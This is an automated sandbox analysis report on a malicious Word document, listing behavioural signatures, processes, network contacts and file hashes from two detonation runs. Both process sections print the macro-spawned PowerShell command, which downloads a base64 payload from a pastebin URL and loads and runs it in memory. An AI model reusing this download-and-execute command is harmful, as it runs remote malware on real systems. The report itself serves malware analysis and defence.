Malware Analysis Report

2025-01-22 19:10

Sample ID 240724-vvjpns1crc
Target 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc
SHA256 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

Threat Level: Known bad

The file 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Office macro that triggers on suspicious action

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-24 17:18

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-24 17:18

Reported

2024-07-24 17:21

Platform

win7-20240704-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp

Files

memory/332-0-0x000000002F921000-0x000000002F922000-memory.dmp

memory/332-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/332-2-0x00000000715FD000-0x0000000071608000-memory.dmp

memory/332-4-0x0000000000640000-0x0000000000740000-memory.dmp

memory/332-6-0x0000000000640000-0x0000000000740000-memory.dmp

memory/332-5-0x0000000000640000-0x0000000000740000-memory.dmp

memory/1976-10-0x00000000054A0000-0x00000000054FB000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/332-42-0x00000000715FD000-0x0000000071608000-memory.dmp

memory/332-43-0x0000000000640000-0x0000000000740000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 2f0f834345048da28b27f2fa6da7069c
SHA1 5c07a13a2ae65bed0ed1e9b9f22f413f00db18ed
SHA256 ee75dbaa8d608a14727b0d5015bbcfd03d2a61f92288ace767f54c582609df90
SHA512 7addddb2e71d5d98dd8fa17acc9dff260e22f2451e455a5a6c0fa286ea6f1780a52b199db4e890c70225c25b108a22b0bdd249a3c9a5fa1c8ccf9dcd6efd7fd8

memory/332-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\53B49E3D.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/332-69-0x0000000000640000-0x0000000000740000-memory.dmp

memory/332-68-0x00000000715FD000-0x0000000071608000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-24 17:18

Reported

2024-07-24 17:21

Platform

win10v2004-20240709-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.4.235:443 pastebin.com tcp
US 8.8.8.8:53 235.4.20.104.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 105.193.132.51.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.17.209.140:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 140.209.17.2.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

memory/2928-0-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-3-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-2-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-1-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-4-0x00007FFE8E5AD000-0x00007FFE8E5AE000-memory.dmp

memory/2928-6-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-8-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-9-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-10-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-11-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-12-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp

memory/2928-15-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-14-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-13-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-7-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-5-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-16-0x00007FFE4C160000-0x00007FFE4C170000-memory.dmp

memory/2928-18-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-22-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-21-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-20-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-19-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-17-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-38-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-39-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/4064-43-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CEDA6E70.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/4064-50-0x00000204DA890000-0x00000204DA8B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jqgpclbb.5gu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4064-60-0x00000204DAB50000-0x00000204DAB94000-memory.dmp

memory/4064-61-0x00000204DAE40000-0x00000204DAEB6000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 168b9cf80b9afeb3ba7d2ce282e8e9c1
SHA1 e0690a16ebf8104da82a30bf0072ed64f2661844
SHA256 4985e0e1a131539af6a30aa39da5697961e47a39c23124f7f7d754d8be45ce82
SHA512 724dc47239ff529c36b2bd4896d978b80f573a612d634fd02e9662754fc96c3e4c2639ffe88eef61db47852bfeb79274b44dd0f0a41884e3f271550f543b6c5f

memory/2928-89-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCDF636.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

memory/2928-207-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/4064-208-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp

memory/2928-233-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-232-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-235-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-234-0x00007FFE4E590000-0x00007FFE4E5A0000-memory.dmp

memory/2928-236-0x00007FFE8E510000-0x00007FFE8E705000-memory.dmp